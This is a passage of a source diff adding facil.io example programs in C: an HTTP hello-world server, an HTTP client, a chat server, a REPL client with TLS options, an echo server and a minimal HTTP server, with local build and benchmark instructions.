+      FIO_CLI_INT("-verbosity -V facil.io verbocity 0..5 (logging level)."));
+
+  /* Test and set any default options */
+  if (!fio_cli_get("-p")) {
+    /* Test environment as well */
+    char *tmp = getenv("PORT");
+    if (!tmp)
+      tmp = "3000";
+    /* CLI et functions (unlike fio_cli_start) ignores aliases */
+    fio_cli_set("-p", tmp);
+    fio_cli_set("-port", tmp);
+  }
+  if (!fio_cli_get("-b")) {
+    char *tmp = getenv("ADDRESS");
+    if (tmp) {
+      fio_cli_set("-b", tmp);
+      fio_cli_set("-bind", tmp);
+    }
+  }
+  if (!fio_cli_get("-public")) {
+    char *tmp = getenv("HTTP_PUBLIC_FOLDER");
+    if (tmp) {
+      fio_cli_set("-public", tmp);
+      fio_cli_set("-www", tmp);
+    }
+  }
+
+  if (!fio_cli_get("-redis")) {
+    char *tmp = getenv("REDIS_URL");
+    if (tmp) {
+      fio_cli_set("-redis", tmp);
+      fio_cli_set("-r", tmp);
+    }
+  }
+  if (fio_cli_get("-V")) {
+    FIO_LOG_LEVEL = fio_cli_get_i("-V");
+  }
+
+  fio_cli_set_default("-ping", "40");
+
+  /* CLI set functions (unlike fio_cli_start) ignores aliases */
+  fio_cli_set_default("-k", "10");
+  fio_cli_set_default("-keep-alive", "10");
+
+  fio_cli_set_default("-max-body", "50");
+  fio_cli_set_default("-maxbd", "50");
+
+  fio_cli_set_default("-max-message", "250");
+  fio_cli_set_default("-maxms", "250");
+}

facil.io/examples/http-hello.c

@@ -0,0 +1,131 @@
+/**
+In this a Hello World example using the bundled HTTP / WebSockets extension.
+
+Compile using:
+
+    NAME=http make
+
+Or test the `poll` engine's performance by compiling with `poll`:
+
+    FIO_POLL=1 NAME=http make
+
+Run with:
+
+    ./tmp/http -t 1
+
+Benchmark with keep-alive:
+
+    ab -c 200 -t 4 -n 1000000 -k http://127.0.0.1:3000/
+    wrk -c200 -d4 -t1 http://localhost:3000/
+
+Benchmark with higher load:
+
+    ab -c 4400 -t 4 -n 1000000 -k http://127.0.0.1:3000/
+    wrk -c4400 -d4 -t1 http://localhost:3000/
+*/
+
+/* include the core library, without any extensions */
+#include <fio.h>
+
+#include <fio_cli.h>
+#include <http.h>
+
+/* defined later */
+void initialize_cli(int argc, char const *argv[]);
+
+/* *****************************************************************************
+HTTP request / response handling
+***************************************************************************** */
+
+static void on_http_request(http_s *h) {
+  /* set a response and send it (finnish vs. destroy). */
+  http_send_body(h, "Hello World!", 12);
+}
+
+/* *****************************************************************************
+The main function
+***************************************************************************** */
+
+int main(int argc, char const *argv[]) {
+  initialize_cli(argc, argv);
+  /* listen for inncoming connections */
+  if (http_listen(fio_cli_get("-p"), fio_cli_get("-b"),
+                  .on_request = on_http_request,
+                  .max_body_size = fio_cli_get_i("-maxbd"),
+                  .public_folder = fio_cli_get("-public"),
+                  .log = fio_cli_get_bool("-log"),
+                  .timeout = fio_cli_get_i("-keep-alive")) == -1) {
+    /* listen failed ?*/
+    perror(
+        "ERROR: facil.io couldn't initialize HTTP service (already running?)");
+    exit(1);
+  }
+  fio_start(.threads = fio_cli_get_i("-t"), .workers = fio_cli_get_i("-w"));
+  return 0;
+}
+
+/* *****************************************************************************
+CLI helpers
+***************************************************************************** */
+void initialize_cli(int argc, char const *argv[]) {
+  /*     ****  Command line arguments ****     */
+  fio_cli_start(
+      argc, argv, 0, 0, NULL,
+      // Address Binding arguments
+      FIO_CLI_PRINT_HEADER("Address Binding:"),
+      FIO_CLI_INT("-port -p port number to listen to. defaults port 3000"),
+      "-bind -b address to listen to. defaults any available.",
+      // Concurrency arguments
+      FIO_CLI_PRINT_HEADER("Concurrency:"),
+      FIO_CLI_INT("-workers -w number of processes to use."),
+      FIO_CLI_INT("-threads -t number of threads per process."),
+      // HTTP Settings arguments
+      FIO_CLI_PRINT_HEADER("HTTP Settings:"),
+      "-public -www public folder, for static file service.",
+      FIO_CLI_INT(
+          "-keep-alive -k HTTP keep-alive timeout (0..255). default: 10s"),
+      FIO_CLI_INT(
+          "-max-body -maxbd HTTP upload limit in Mega Bytes. default: 50Mb"),
+      FIO_CLI_BOOL("-log -v request verbosity (logging)."),
+      // WebSocket Settings arguments
+      FIO_CLI_PRINT_HEADER("WebSocket Settings:"),
+      FIO_CLI_INT("-ping websocket ping interval (0..255). default: 40s"),
+      FIO_CLI_INT("-max-msg -maxms incoming websocket message "
+                  "size limit in Kb. default: 250Kb"),
+      "-redis -r an optional Redis URL server address.",
+      FIO_CLI_PRINT("\t\ta valid Redis URL would follow the pattern:"),
+      FIO_CLI_PRINT("\t\t\tredis://user:password@localhost:6379/"));
+
+  /* Test and set any default options */
+  if (!fio_cli_get("-p")) {
+    /* Test environment as well */
+    char *tmp = getenv("PORT");
+    if (!tmp)
+      tmp = "3000";
+    /* Set default (unlike cmd line arguments, aliases are manually set) */
+    fio_cli_set("-p", tmp);
+    fio_cli_set("-port", tmp);
+  }
+  if (!fio_cli_get("-b")) {
+    char *tmp = getenv("ADDRESS");
+    if (tmp) {
+      fio_cli_set("-b", tmp);
+      fio_cli_set("-bind", tmp);
+    }
+  }
+  if (!fio_cli_get("-public")) {
+    char *tmp = getenv("HTTP_PUBLIC_FOLDER");
+    if (tmp) {
+      fio_cli_set("-public", tmp);
+      fio_cli_set("-www", tmp);
+    }
+  }
+
+  if (!fio_cli_get("-public")) {
+    char *tmp = getenv("REDIS_URL");
+    if (tmp) {
+      fio_cli_set("-redis-url", tmp);
+      fio_cli_set("-ru", tmp);
+    }
+  }
+}

facil.io/examples/http_client.c

@@ -0,0 +1,28 @@
+#include "fio_cli.h"
+#include "http.h"
+
+static void on_response(http_s *h);
+
+int main(int argc, char const *argv[]) {
+  fio_cli_start(
+      argc, argv, 1, 1,
+      "This is an HTTP client example, use:\n"
+      "\n\tfioapp http://example.com/foo\n",
+      FIO_CLI_STRING("-unix -u Unix Socket address (has no place in url)."));
+  http_connect(fio_cli_unnamed(0), fio_cli_get("-u"),
+               .on_response = on_response);
+  fio_start(.threads = 1);
+  return 0;
+}
+
+static void on_response(http_s *h) {
+  if (h->status_str == FIOBJ_INVALID) {
+    /* first response is always empty, nothing was sent yet */
+    http_finish(h);
+    return;
+  }
+  /* Second response is actual response */
+  FIOBJ r = http_req2str(h);
+  fprintf(stderr, "%s\n", fiobj_obj2cstr(r).data);
+  fio_stop();
+}

facil.io/examples/raw-chat.c

@@ -0,0 +1,129 @@
+/* *****************************************************************************
+This is a simple echo server example.
+
+To try it out, compile using (avoids server state printout):
+
+    FIO_PRINT=0 NAME=char make
+
+Than run:
+
+    ./tmp/char
+
+To connect to this server run telnet, netcat or the client example, using:
+
+    telnet localhost 3000
+Or:
+    nc localhost 3000
+
+This example uses the core facil.io library (fio.h) and the Command Line
+Interface library (fio_cli.h).
+***************************************************************************** */
+
+#include <fio.h>
+#include <fio_cli.h>
+
+/* *****************************************************************************
+Chat connection callbacks
+***************************************************************************** */
+
+// A callback to be called whenever data is available on the socket
+static void chat_on_data(intptr_t uuid, fio_protocol_s *prt) {
+  // echo buffer
+  char buffer[1024] = {'C', 'h', 'a', 't', ':', ' '};
+  ssize_t len;
+  // Read to the buffer, starting after the "Chat: "
+  while ((len = fio_read(uuid, buffer + 6, 1018)) > 0) {
+    fprintf(stderr, "Broadcasting: %.*s", (int)len, buffer + 6);
+    fio_publish(.message = {.data = buffer, .len = (len + 6)},
+                .channel = {.data = "chat", .len = 4});
+  }
+  (void)prt; // we can ignore the unused argument
+}
+
+// A callback called whenever a timeout is reach
+static void chat_ping(intptr_t uuid, fio_protocol_s *prt) {
+  fio_write(uuid, "Server: Are you there?\n", 23);
+  (void)prt; // we can ignore the unused argument
+}
+
+// A callback called if the server is shutting down...
+// ... while the connection is still open
+static uint8_t chat_on_shutdown(intptr_t uuid, fio_protocol_s *prt) {
+  fio_write(uuid, "Chat server shutting down\nGoodbye.\n", 35);
+  return 0;
+  (void)prt; // we can ignore the unused argument
+}
+
+static void chat_on_close(intptr_t uuid, fio_protocol_s *proto) {
+  fprintf(stderr, "Connection %p closed.\n", (void *)proto);
+  fio_free(proto);
+  (void)uuid;
+}
+
+/* *****************************************************************************
+The main chat pub/sub callback
+***************************************************************************** */
+
+static void chat_message(fio_msg_s *msg) {
+  fio_write((intptr_t)msg->udata1, msg->msg.data, msg->msg.len);
+}
+
+/* *****************************************************************************
+The main chat protocol creation callback
+***************************************************************************** */
+
+// A callback called for new connections
+static void chat_on_open(intptr_t uuid, void *udata) {
+  /* Create and attach a protocol object */
+  fio_protocol_s *proto = fio_malloc(sizeof(*proto));
+  *proto = (fio_protocol_s){
+      .on_data = chat_on_data,
+      .on_shutdown = chat_on_shutdown,
+      .on_close = chat_on_close,
+      .ping = chat_ping,
+  };
+  fio_attach(uuid, proto);
+  fio_timeout_set(uuid, 10);
+  fprintf(stderr, "* (%d) new Connection %p received from %s\n", getpid(),
+          (void *)proto, fio_peer_addr(uuid).data);
+  /* Send a Welcome message to the client */
+  fio_write2(uuid, .data.buffer = "Chat Service: Welcome\n", .length = 22,
+             .after.dealloc = FIO_DEALLOC_NOOP);
+
+  /* Subscribe client to chat channel */
+  subscription_s *s =
+      fio_subscribe(.on_message = chat_message, .udata1 = (void *)uuid,
+                    .channel = {.data = "chat", .len = 4});
+  /* Link the subscription's life-time to the connection */
+  fio_uuid_link(uuid, s, (void (*)(void *))fio_unsubscribe);
+  (void)udata; // ignore this
+}
+
+/* *****************************************************************************
+The main function (listens to the `echo` connections and handles CLI)
+***************************************************************************** */
+
+// The main function starts listening to echo connections
+int main(int argc, char const *argv[]) {
+  /* Setup CLI arguments */
+  fio_cli_start(argc, argv, 0, 0, "This example accepts the following options:",
+                FIO_CLI_INT("-t -thread number of threads to run."),
+                FIO_CLI_INT("-w -workers number of workers to run."),
+                "-b, -address the address to bind to.",
+                FIO_CLI_INT("-p,-port the port to bind to."),
+                FIO_CLI_BOOL("-v -log enable logging."));
+
+  /* Setup default values */
+  fio_cli_set_default("-p", "3000");
+  fio_cli_set_default("-t", "1");
+  fio_cli_set_default("-w", "1");
+
+  /* Listen for connections */
+  if (fio_listen(.port = fio_cli_get("-p"), .address = fio_cli_get("-b"),
+                 .on_open = chat_on_open) == -1) {
+    perror("No listening socket available.");
+    exit(-1);
+  }
+  /* Run the server and hang until a stop signal is received */
+  fio_start(.threads = fio_cli_get_i("-t"), .workers = fio_cli_get_i("-w"));
+}

facil.io/examples/raw-client.c

@@ -0,0 +1,216 @@
+/*
+This is a simple REPL client example, similar to netcat but simpler.
+
+Data is read from STDIN (which is most of the code) and sent as is, including
+the EOL (end of line) character(s).
+
+To try it out, compile using (avoids server state printout):
+
+    FIO_PRINT=0 NAME=client make
+
+Than run:
+
+    ./tmp/client localhost 3000
+
+*/
+#include "fio.h"
+#include "fio_cli.h"
+#include "fio_tls.h"
+
+/* add the fio_str_s helpers */
+#define FIO_INCLUDE_STR
+#include "fio.h"
+
+#define MAX_BYTES_RAPEL_PER_CYCLE 256
+#define MAX_BYTES_READ_PER_CYCLE 4096
+
+/* *****************************************************************************
+REPL
+***************************************************************************** */
+
+static void repl_on_data(intptr_t uuid, fio_protocol_s *protocol) {
+  ssize_t ret = 0;
+  char buffer[MAX_BYTES_RAPEL_PER_CYCLE];
+  ret = fio_read(uuid, buffer, MAX_BYTES_RAPEL_PER_CYCLE);
+  if (ret > 0) {
+    fio_publish(.channel = {.data = "repl", .len = 4},
+                .message = {.data = buffer, .len = ret});
+  }
+  (void)protocol; /* we ignore the protocol object, we don't use it */
+}
+
+static void repl_on_close(intptr_t uuid, fio_protocol_s *protocol) {
+  FIO_LOG_DEBUG("REPL stopped");
+  (void)uuid;     /* we ignore the uuid object, we don't use it */
+  (void)protocol; /* we ignore the protocol object, we don't use it */
+}
+
+static void repl_ping_never(intptr_t uuid, fio_protocol_s *protocol) {
+  fio_touch(uuid);
+  (void)protocol; /* we ignore the protocol object, we don't use it */
+}
+
+static fio_protocol_s repel_protocol = {
+    .on_data = repl_on_data,
+    .on_close = repl_on_close,
+    .ping = repl_ping_never,
+};
+
+static void repl_attach(void) {
+  /* Attach REPL */
+  fio_set_non_block(fileno(stdin));
+  fio_attach_fd(fileno(stdin), &repel_protocol);
+}
+
+/* *****************************************************************************
+TCP/IP / Unix Socket Client
+***************************************************************************** */
+
+static void on_data(intptr_t uuid, fio_protocol_s *protocol) {
+  ssize_t ret = 0;
+  char buffer[MAX_BYTES_READ_PER_CYCLE + 1];
+  ret = fio_read(uuid, buffer, MAX_BYTES_READ_PER_CYCLE);
+  while (ret > 0) {
+    FIO_LOG_DEBUG("Recieved %zu bytes", ret);
+    buffer[ret] = 0;
+    fwrite(buffer, ret, 1, stdout); /* NUL bytes on binary streams are normal */
+    fflush(stdout);
+    ret = fio_read(uuid, buffer, MAX_BYTES_READ_PER_CYCLE);
+  }
+
+  (void)protocol; /* we ignore the protocol object, we don't use it */
+}
+
+/* Called during server shutdown */
+static uint8_t on_shutdown(intptr_t uuid, fio_protocol_s *protocol) {
+  FIO_LOG_INFO("Disconnecting.\n");
+  /* don't print a message on protocol closure */
+  protocol->on_close = NULL;
+  return 0;   /* close immediately, don't wait */
+  (void)uuid; /*we ignore the uuid object, we don't use it*/
+}
+
+/** Called when the connection was closed, but will not run concurrently */
+static void on_close(intptr_t uuid, fio_protocol_s *protocol) {
+  FIO_LOG_INFO("Remote connection lost.\n");
+  kill(0, SIGINT); /* signal facil.io to stop */
+  (void)protocol;  /* we ignore the protocol object, we don't use it */
+  (void)uuid;      /* we ignore the uuid object, we don't use it */
+}
+
+/** Timeout handling. To ignore timeouts, we constantly "touch" the socket */
+static void ping(intptr_t uuid, fio_protocol_s *protocol) {
+  fio_touch(uuid);
+  (void)protocol; /* we ignore the protocol object, we don't use it */
+}
+
+/*
+ * Since we have only one connection and a single thread, we can use a static
+ * protocol object (otherwise protocol objects should be dynamically allocated).
+ */
+static fio_protocol_s client_protocol = {
+    .on_data = on_data,
+    .on_shutdown = on_shutdown,
+    .on_close = on_close,
+    .ping = ping,
+};
+
+/* Forward REPL messages to the socket - pub/sub callback */
+static void on_repl_message(fio_msg_s *msg) {
+  fio_write((intptr_t)msg->udata1, msg->msg.data, msg->msg.len);
+}
+
+static void on_connect(intptr_t uuid, void *udata) {
+  if (udata) // TLS support, udata is the TLS context.
+    fio_tls_connect(uuid, udata, NULL);
+
+  fio_attach(uuid, &client_protocol);
+
+  /* subscribe to REPL */
+  subscription_s *sub =
+      fio_subscribe(.channel = {.data = "repl", .len = 4},
+                    .on_message = on_repl_message, .udata1 = (void *)uuid);
+
+  /* link subscription lifetime to the connection's UUID */
+  fio_uuid_link(uuid, sub, (void (*)(void *))fio_unsubscribe);
+
+  /* start REPL */
+  // void *repl = fio_thread_new(repl_thread, (void *)uuid);
+  // fio_state_callback_add(FIO_CALL_AT_EXIT, repl_thread_cleanup, repl);
+  (void)udata; /* we ignore the udata pointer, we don't use it here */
+}
+
+static void on_fail(intptr_t uuid, void *udata) {
+  FIO_LOG_ERROR("Connection failed\n");
+  kill(0, SIGINT); /* signal facil.io to stop */
+  (void)uuid;      /* we ignore the uuid object, we don't use it */
+  (void)udata;     /* we ignore the udata object, we don't use it */
+}
+
+/* *****************************************************************************
+Main
+***************************************************************************** */
+
+int main(int argc, char const *argv[]) {
+  /* Setup CLI arguments */
+  fio_cli_start(argc, argv, 1, 2, "use:\n\tclient <args> hostname port\n",
+                FIO_CLI_BOOL("-tls use TLS to establish a secure connection."),
+                FIO_CLI_STRING("-tls-alpn set the ALPN extension for TLS."),
+                FIO_CLI_STRING("-trust comma separated list of PEM "
+                               "certification files for TLS verification."),
+                FIO_CLI_INT("-v -verbousity sets the verbosity level 0..5 (5 "
+                            "== debug, 0 == quite)."));
+
+  /* set logging level */
+  FIO_LOG_LEVEL = FIO_LOG_LEVEL_ERROR;
+  if (fio_cli_get("-v") && fio_cli_get_i("-v") >= 0)
+    FIO_LOG_LEVEL = fio_cli_get_i("-v");
+
+  /* Manage TLS */
+  fio_tls_s *tls = NULL;
+  if (fio_cli_get_bool("-tls")) {
+    tls = fio_tls_new(NULL, NULL, NULL, NULL);
+    if (fio_cli_get("-trust")) {
+      const char *trust = fio_cli_get("-trust");
+      size_t len = strlen(trust);
+      const char *end = memchr(trust, ',', len);
+      while (end) {
+        /* copy partial string to attach NUL char at end of file name */
+        fio_str_s tmp = FIO_STR_INIT;
+        fio_str_info_s t = fio_str_write(&tmp, trust, end - trust);
+        fio_tls_trust(tls, t.data);
+        fio_str_free(&tmp);
+        len -= (end - trust) + 1;
+        trust = end + 1;
+        end = memchr(trust, ',', len);
+      }
+      fio_tls_trust(tls, trust);
+    }
+    if (fio_cli_get("-tls-alpn")) {
+      fio_tls_alpn_add(tls, fio_cli_get("-tls-alpn"), NULL, NULL, NULL);
+    }
+  }
+
+  /* Attach REPL */
+  repl_attach();
+
+  /* Log connection attempt */
+  if (fio_cli_unnamed_count() == 1 || fio_cli_unnamed(1)[0] == 0 ||
+      (fio_cli_unnamed(1)[0] == '0' || fio_cli_unnamed(1)[1] == 0)) {
+    FIO_LOG_INFO("Attempting to connect to Unix socket at: %s\n",
+                 fio_cli_unnamed(0));
+  } else {
+    FIO_LOG_INFO("Attempting to connect to TCP/IP socket at: %s:%s\n",
+                 fio_cli_unnamed(0), fio_cli_unnamed(1));
+  }
+
+  intptr_t uuid =
+      fio_connect(.address = fio_cli_unnamed(0), .port = fio_cli_unnamed(1),
+                  .on_connect = on_connect, .on_fail = on_fail, .udata = tls);
+  if (uuid == -1 && fio_cli_get_bool("-v"))
+    FIO_LOG_ERROR("Connection can't be established");
+  else
+    fio_start(.threads = 1);
+  fio_tls_destroy(tls);
+  fio_cli_end();
+}

facil.io/examples/raw-echo.c

@@ -0,0 +1,117 @@
+/* *****************************************************************************
+This is a simple echo server example.
+
+To try it out, compile using (avoids server state printout):
+
+    FIO_PRINT=0 NAME=echo make
+
+Than run:
+
+    ./tmp/echo
+
+To connect to this server run telnet, netcat or the client example, using:
+
+    telnet localhost 3000
+Or:
+    nc localhost 3000
+
+This example uses the core facil.io library (fio.h) and the Command Line
+Interface library (fio_cli.h).
+***************************************************************************** */
+
+#include <fio.h>
+#include <fio_cli.h>
+
+/* *****************************************************************************
+Echo connection callbacks
+***************************************************************************** */
+
+// A callback to be called whenever data is available on the socket
+static void echo_on_data(intptr_t uuid, fio_protocol_s *prt) {
+  // echo buffer
+  char buffer[1024] = {'E', 'c', 'h', 'o', ':', ' '};
+  ssize_t len;
+  // Read to the buffer, starting after the "Echo: "
+  while ((len = fio_read(uuid, buffer + 6, 1018)) > 0) {
+    fprintf(stderr, "Read: %.*s", (int)len, buffer + 6);
+    // Write back the message
+    fio_write(uuid, buffer, len + 6);
+    // Handle goodbye
+    if ((buffer[6] | 32) == 'b' && (buffer[7] | 32) == 'y' &&
+        (buffer[8] | 32) == 'e') {
+      fio_write(uuid, "Goodbye.\n", 9);
+      fio_close(uuid);
+      return;
+    }
+  }
+  (void)prt; // we can ignore the unused argument
+}
+
+// A callback called whenever a timeout is reach
+static void echo_ping(intptr_t uuid, fio_protocol_s *prt) {
+  fio_write(uuid, "Server: Are you there?\n", 23);
+  (void)prt; // we can ignore the unused argument
+}
+
+// A callback called if the server is shutting down...
+// ... while the connection is still open
+static uint8_t echo_on_shutdown(intptr_t uuid, fio_protocol_s *prt) {
+  fio_write(uuid, "Echo server shutting down\nGoodbye.\n", 35);
+  return 0;
+  (void)prt; // we can ignore the unused argument
+}
+
+static void echo_on_close(intptr_t uuid, fio_protocol_s *proto) {
+  fprintf(stderr, "Connection %p closed.\n", (void *)proto);
+  free(proto);
+  (void)uuid;
+}
+
+/* *****************************************************************************
+The main echo protocol creation callback
+***************************************************************************** */
+
+// A callback called for new connections
+static void echo_on_open(intptr_t uuid, void *udata) {
+  // Protocol objects MUST be dynamically allocated when multi-threading.
+  fio_protocol_s *echo_proto = malloc(sizeof(*echo_proto));
+  *echo_proto = (fio_protocol_s){.on_data = echo_on_data,
+                                 .on_shutdown = echo_on_shutdown,
+                                 .on_close = echo_on_close,
+                                 .ping = echo_ping};
+  fprintf(stderr, "New Connection %p received from %s\n", (void *)echo_proto,
+          fio_peer_addr(uuid).data);
+  fio_attach(uuid, echo_proto);
+  fio_write2(uuid, .data.buffer = "Echo Service: Welcome\n", .length = 22,
+             .after.dealloc = FIO_DEALLOC_NOOP);
+  fio_timeout_set(uuid, 5);
+  (void)udata; // ignore this
+}
+
+/* *****************************************************************************
+The main function (listens to the `echo` connections and handles CLI)
+***************************************************************************** */
+
+// The main function starts listening to echo connections
+int main(int argc, char const *argv[]) {
+  /* Setup CLI arguments */
+  fio_cli_start(argc, argv, 0, 0, "this example accepts the following options:",
+                FIO_CLI_INT("-t -thread number of threads to run."),
+                FIO_CLI_INT("-w -workers number of workers to run."),
+                "-b, -address the address to bind to.",
+                FIO_CLI_INT("-p,-port the port to bind to."),
+                FIO_CLI_BOOL("-v -log enable logging."));
+
+  /* Setup default values */
+  fio_cli_set_default("-p", "3000");
+  fio_cli_set_default("-t", "1");
+  fio_cli_set_default("-w", "1");
+
+  /* Listen for connections */
+  if (fio_listen(.port = fio_cli_get("-p"), .on_open = echo_on_open) == -1) {
+    perror("No listening socket available on port 3000");
+    exit(-1);
+  }
+  /* Run the server and hang until a stop signal is received */
+  fio_start(.threads = fio_cli_get_i("-t"), .workers = fio_cli_get_i("-w"));
+}

facil.io/examples/raw-http.c

@@ -0,0 +1,369 @@
+/**
+In this example we will author an HTTP server with a smaller memory footprint
+and a simplified design.
+
+This simplified design gains performance at the price of ease of use and
+flexibility.
+
+This design can be effective for some applications, however it suffers form a
+rigid HTTP header limit and a harder to use data structure.
+
+Try compiling with wide-spread `poll` engine instead of `kqueue` or `epoll`:
+
+    FIO_POLL=1 NAME=http make
+
+Run with:
+
+    ./tmp/http -t 1
+
+Benchmark with keep-alive:
+
+    ab -c 200 -t 4 -n 1000000 -k http://127.0.0.1:3000/
+    wrk -c200 -d4 -t1 http://localhost:3000/
+
+Benchmark with higher load:
+
+    ab -c 4400 -t 4 -n 1000000 -k http://127.0.0.1:3000/
+    wrk -c4400 -d4 -t1 http://localhost:3000/
+*/
+
+/* include the core library, without any extensions */
+#include <fio.h>
+
+/* use the fio_str_s helpers */
+#define FIO_INCLUDE_STR
+#include <fio.h>
+
+/* use the CLI extension */
+#include <fio_cli.h>
+
+// #include "http.h" /* for date/time helper */
+#include "http1_parser.h"
+
+/* our header buffer size */
+#define MAX_HTTP_HEADER_LENGTH 16384
+#define MIN_HTTP_READFILE 4096
+/* our header count */
+#define MAX_HTTP_HEADER_COUNT 64
+/* our HTTP POST limits */
+#define MAX_HTTP_BODY_MAX 524288
+
+/* *****************************************************************************
+The Protocol Data Structure
+***************************************************************************** */
+
+typedef struct {
+  fio_protocol_s protocol; /* all protocols must use this callback structure */
+  intptr_t uuid; /* this will hold the connection's uuid for `sock` functions */
+  http1_parser_s parser; /* the HTTP/1.1 parser */
+  char *method;          /* the HTTP method, NUL terminated */
+  char *path;            /* the URI path, NUL terminated */
+  char *query; /* the URI query (after the '?'), if any, NUL terminated */
+  char *http_version;    /* the HTTP version, NUL terminated */
+  size_t content_length; /* the body's content length, if any */
+  size_t header_count; /* the header count - everything after this is garbage */
+  char *headers[MAX_HTTP_HEADER_COUNT];
+  char *values[MAX_HTTP_HEADER_COUNT];
+  fio_str_s body; /* the HTTP body, this is where a little complexity helps */
+  size_t buf_reader; /* internal: marks the read position in the buffer */
+  size_t buf_writer; /* internal: marks the write position in the buffer */
+  uint8_t reset; /* used internally to mark when some buffer can be deleted */
+} light_http_s;
+
+/* turns a parser pointer into a `light_http_s` pointer using it's offset */
+#define parser2pr(parser)                                                      \
+  ((light_http_s *)((uintptr_t)(parser) -                                      \
+                    (uintptr_t)(&((light_http_s *)(0))->parser)))
+
+void light_http_send_response(intptr_t uuid, int status,
+                              fio_str_info_s status_str, size_t header_count,
+                              fio_str_info_s headers[][2], fio_str_info_s body);
+/* *****************************************************************************
+The HTTP/1.1 Request Handler - change this to whateve you feel like.
+***************************************************************************** */
+
+int on_http_request(light_http_s *http) {
+  /* handle a request for `http->path` */
+  if (1) {
+    /* a simple, hardcoded HTTP/1.1 response */
+    static char HTTP_RESPONSE[] = "HTTP/1.1 200 OK\r\n"
+                                  "Content-Length: 13\r\n"
+                                  "Connection: keep-alive\r\n"
+                                  "Content-Type: text/plain\r\n"
+                                  "\r\n"
+                                  "Hello Wolrld!";
+    fio_write2(http->uuid, .data.buffer = HTTP_RESPONSE,
+               .length = sizeof(HTTP_RESPONSE) - 1,
+               .after.dealloc = FIO_DEALLOC_NOOP);
+  } else {
+    /* an allocated, dynamic, HTTP/1.1 response */
+    light_http_send_response(
+        http->uuid, 200, (fio_str_info_s){.len = 2, .data = "OK"}, 1,
+        (fio_str_info_s[][2]){{{.len = 12, .data = "Content-Type"},
+                               {.len = 10, .data = "text/plain"}}},
+        (fio_str_info_s){.len = 13, .data = "Hello Wolrld!"});
+  }
+  return 0;
+}
+
+/* *****************************************************************************
+Listening for Connections (main)
+***************************************************************************** */
+
+/* we're referencing this function, but defining it later on. */
+void light_http_on_open(intptr_t uuid, void *udata);
+
+/* our main function / starting point */
+int main(int argc, char const *argv[]) {
+  /* A simple CLI interface. */
+  fio_cli_start(argc, argv, 0, 0,
+                "Custom HTTP example for the facil.io framework.",
+                FIO_CLI_INT("-port -p Port to bind to. Default: 3000"),
+                FIO_CLI_INT("-workers -w Number of workers (processes)."),
+                FIO_CLI_INT("-threads -t Number of threads."));
+  /* Default to port 3000. */
+  fio_cli_set_default("-p", "3000");
+  /* Default to single thread. */
+  fio_cli_set_default("-t", "1");
+  /* try to listen on port 3000. */
+  if (fio_listen(.port = fio_cli_get("-p"), .address = NULL,
+                 .on_open = light_http_on_open, .udata = NULL) == -1)
+    perror("FATAL ERROR: Couldn't open listening socket"), exit(errno);
+  /* run facil with 1 working thread - this blocks until we're done. */
+  fio_start(.threads = fio_cli_get_i("-t"), .workers = fio_cli_get_i("-w"));
+  /* clean up */
+  fio_cli_end();
+  return 0;
+}
+
+/* *****************************************************************************
+The HTTP/1.1 Parsing Callbacks - we need to implememnt everything for the parser
+***************************************************************************** */
+
+/** called when a request was received. */
+int light_http1_on_request(http1_parser_s *parser) {
+  int ret = on_http_request(parser2pr(parser));
+  fio_str_free(&parser2pr(parser)->body);
+  parser2pr(parser)->reset = 1;
+  return ret;
+}
+
+/** called when a response was received, this is for HTTP clients (error). */
+int light_http1_on_response(http1_parser_s *parser) {
+  return -1;
+  (void)parser;
+}
+
+/** called when a request method is parsed. */
+int light_http1_on_method(http1_parser_s *parser, char *method,
+                          size_t method_len) {
+  parser2pr(parser)->method = method;
+  return 0;
+  (void)method_len;
+}
+
+/** called when a response status is parsed. the status_str is the string
+ * without the prefixed numerical status indicator.*/
+int light_http1_on_status(http1_parser_s *parser, size_t status,
+                          char *status_str, size_t len) {
+  return -1;
+  (void)parser;
+  (void)status;
+  (void)status_str;
+  (void)len;
+}
+/** called when a request path (excluding query) is parsed. */
+int light_http1_on_path(http1_parser_s *parser, char *path, size_t path_len) {
+  parser2pr(parser)->path = path;
+  return 0;
+  (void)path_len;
+}
+/** called when a request path (excluding query) is parsed. */
+int light_http1_on_query(http1_parser_s *parser, char *query,
+                         size_t query_len) {
+  parser2pr(parser)->query = query;
+  return 0;
+  (void)query_len;
+}
+/** called when a the HTTP/1.x version is parsed. */
+int light_http1_on_http_version(http1_parser_s *parser, char *version,
+                                size_t len) {
+  parser2pr(parser)->http_version = version;
+  return 0;
+  (void)len;
+}
+/** called when a header is parsed. */
+int light_http1_on_header(http1_parser_s *parser, char *name, size_t name_len,
+                          char *data, size_t data_len) {
+  if (parser2pr(parser)->header_count >= MAX_HTTP_HEADER_COUNT)
+    return -1;
+  parser2pr(parser)->headers[parser2pr(parser)->header_count] = name;
+  parser2pr(parser)->values[parser2pr(parser)->header_count] = data;
+  ++parser2pr(parser)->header_count;
+  return 0;
+  (void)name_len;
+  (void)data_len;
+}
+
+/** called when a body chunk is parsed. */
+int light_http1_on_body_chunk(http1_parser_s *parser, char *data,
+                              size_t data_len) {
+  if (parser->state.content_length >= MAX_HTTP_BODY_MAX)
+    return -1;
+  if (fio_str_write(&parser2pr(parser)->body, data, data_len).len >=
+      MAX_HTTP_BODY_MAX)
+    return -1;
+  return 0;
+}
+
+/** called when a protocol error occurred. */
+int light_http1_on_error(http1_parser_s *parser) {
+  /* close the connection */
+  fio_close(parser2pr(parser)->uuid);
+  return 0;
+}
+/* *****************************************************************************
+The Protocol Callbacks
+***************************************************************************** */
+
+/* facil.io callbacks we want to handle */
+void light_http_on_open(intptr_t uuid, void *udata);
+void light_http_on_data(intptr_t uuid, fio_protocol_s *pr);
+void light_http_on_close(intptr_t uuid, fio_protocol_s *pr);
+
+/* this will be called when a connection is opened. */
+void light_http_on_open(intptr_t uuid, void *udata) {
+  /*
+   * we should allocate a protocol object for this connection.
+   *
+   * since protocol objects are stateful (the parsing, internal locks, etc'), we
+   * need a different protocol object per connection.
+   *
+   * NOTE: the extra length in the memory will be the R/W buffer.
+   */
+  light_http_s *p =
+      malloc(sizeof(*p) + MAX_HTTP_HEADER_LENGTH + MIN_HTTP_READFILE);
+  *p = (light_http_s){
+      .protocol.on_data = light_http_on_data,   /* setting the data callback */
+      .protocol.on_close = light_http_on_close, /* setting the close callback */
+      .uuid = uuid,
+      .body = FIO_STR_INIT,
+  };
+  /* timeouts are important. timeouts are in seconds. */
+  fio_timeout_set(uuid, 5);
+  /*
+   * this is a very IMPORTANT function call,
+   * it attaches the protocol to the socket.
+   */
+  fio_attach(uuid, &p->protocol);
+  /* the `udata` wasn't used, but it's good for dynamic settings and such */
+  (void)udata;
